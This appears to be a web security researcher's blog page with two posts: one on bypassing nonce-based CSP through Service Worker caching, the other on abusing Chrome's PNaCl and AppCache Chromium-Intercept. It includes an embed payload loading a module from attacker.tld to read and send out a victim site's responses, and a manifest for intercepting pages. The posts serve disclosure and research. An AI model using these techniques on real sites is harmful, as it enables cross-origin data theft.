2019年9月18日水曜日

Nonce-based CSP + Service Worker = CSP bypass?

Service Worker is a great technology that allows you to develop web app's offline experience and increase performance of your website.

But this also means that a web page is cached. And if your website has a nonce-based CSP, then your CSP will also be cached. This means, no matter how random the nonce is (and you serve different nonces for every request), as long as Service Worker sees that the request is same, it'll respond with cached content, which always have the same CSP nonce.

To see if this can be exploited, I made a CSP bypass challenge.

Above page uses Strict CSP, and Service Worker code was taken from Google's SW intro page (second example you see when you click the link).

So it should be safe against XSS bugs, right? :)

Well, challenge was made in a way that it's possible to bypass Strict CSP, and I'm hoping that people will find this CSP bypass in real websites someday :)

The challenge has 2 injection points.
  1. location.hash (Service Worker doesn't see the hash)
  2. Referrer passed to server (Service Worker doesn't see this either)
There are many other sources of XSS that Service Worker doesn't use as a key for a request (e.g. Stored XSS payload can't be keyed either).

Intended solution was following.

Gareth wrote a great post about leaking information using <base> tag's target attribute even under Strict CSP. I used similar trick, which is iframe's name. I used referrer to inject iframe and name attribute leaked nonce of the legit script tag, and simply used a leaked nonce to execute script, through location.hash. This is possible because Service Worker doesn't care about changes in location.hash so it'll still serve cached content.

On the other hand, @lbherrera_ solved the challenge using CSS.

He used referrer to inject <input> tag and set nonce as a value, and then brute-forced nonce character one by one using CSS. When when brute-force identifies a character, it'll send a request to his server, which will set the cookie with a matched nonce character, and save whole nonce this way. After whole nonce is stolen, he would use the location.hash to perform XSS with proper nonce.

Conclusion:
  1. Service Worker might help bypass nonce-based CSP
  2. Always fix XSS bugs even if XSS is blocked by CSP. Time to time, I find CSP bypass in the browser as well (e.g. this). All mitigations have bypasses :)
Update:
After publishing this post, I saw some comments that are worth noting, so I'm sharing it here.

@SecurityMB shared a solution by taking over valid nonce. This is possible in non-chromium browsers because they don't have nonce-hiding protection in the browser. This also means that one DOM-based XSS that can't be keyed by Service Worker is enough to bypass nonce-based CSP because you can use recursive CSS import to leak the nonce. Check out ONSEN tool by @mage_1868 for example.

@we1x shared his opinion that any form of caching allows extraction of nonces. This gave me an idea that Signed HTTP Exchanges (i.e. SXG files) is actually not compatible with nonce-based CSP by design. Because it's a file that stores response headers as well as response body for maximum 7 days (where DOM-based XSS could still occur). Which I've filed an issue and looking forward to a solution :)

2019年7月2日火曜日

Intro to Chrome's (g)old features

This post is about following 2 features and how to (ab)use them.
  1. PNaCl
  2. Chromium-Intercept
Those 2 features are old enough that they might die any time soon. So I thought it's a good idea to let them shine before they die :)

PNaCl
Portable Native Client is an older brother of WebAssembly. Basically you can run your C/C++ code on a web page using PNaCl. Pepper API provides useful classes that can be used in PNaCl. One of the interesting class is a URLLoader class (and related URLRequestInfo and URLResponseInfo classes). 

Basically you can send a request to same-origin URL and read a response (for cross-origin requests, CORS comes in). But same-origin to what? to the embedder.

Let's say you have HTML injection in https://vicitm.tld, but you can't make that into XSS because CSP: script-src isn't bypassable. With PNaCl, you can do:
<embed src="https://attacker.tld/url_loader.nmf" type="application/x-pnacl">
And you can now make requests to anywhere in https://vicitm.tld, read response, and send that content back to your origin :)

Here's a PoC. See following for more details:

Unfortunately, PNaCl is about to die. Starting from Chrome 76, you'll need to have an Origin Trial token before body tag of the page to use PNaCl. But thanks to Eduardo's idea, you can actually use iframe's srcdoc to have the token inside head tag (assuming that CSP frame-src is set to 'self'). Since anyone can issue an Origin Trial token for any site, PNaCl can shine till the end :)

Here's a PoC with Origin Trial token.

I think this explains well about why CSP: object-src needs to be 'none'.

PS: If you use Chromium-based Edge, PNaCl isn't supported so you should be safe :)


Chromium-Intercept
Chromium-Intercept is a special section in AppCache that's only supported in Chrome (and possibly Chromium-based browsers). AppCache is used for serving contents offline or during error. So usually you are only allowed to intercept requests when response code is a error code (i.e. 4xx). But Chromium-Intercept will allow you to intercept the request even if response is not an error code.
CHROMIUM CACHE MANIFEST 
CACHE: 
NETWORK:  
FALLBACK: 
CHROMIUM-INTERCEPT: 
/ return /fallback.html

But there's a requirement that AppCache manifest's MIME type has to be "text/cache-manifest" in order to use Chromium-Intercept.

AppCache is really great for exploiting sandbox domains. This has been discussed in detail by @filedescriptor and @fransrosen so you should take a look.


But I want to call out one thing. You can still intercept requests from different directory within same-origin in Chrome (which was explain as fixed in this slide). It's just that Chrome now requires AppCache manifest's MIME type to be "text/cache-manifest" (again) in order to intercept requests from different directory.

Here's a PoC of using Chromium-Intercept to steal content of different directory on the fly :)
Go to https://test.shhnjk.com/alert.html after visiting PoC link. It should alert content of alert.html after intercepting the initial request.
This has been patched by https://www.chromestatus.com/feature/5125554036539392

As you can see, Chromium-Intercept is great for stealing contents on the fly, which maybe required when contents are served only with user's cookie. I was able to use this technique against some Google services (and I got $5k x 2).


Hope you enjoyed the post :)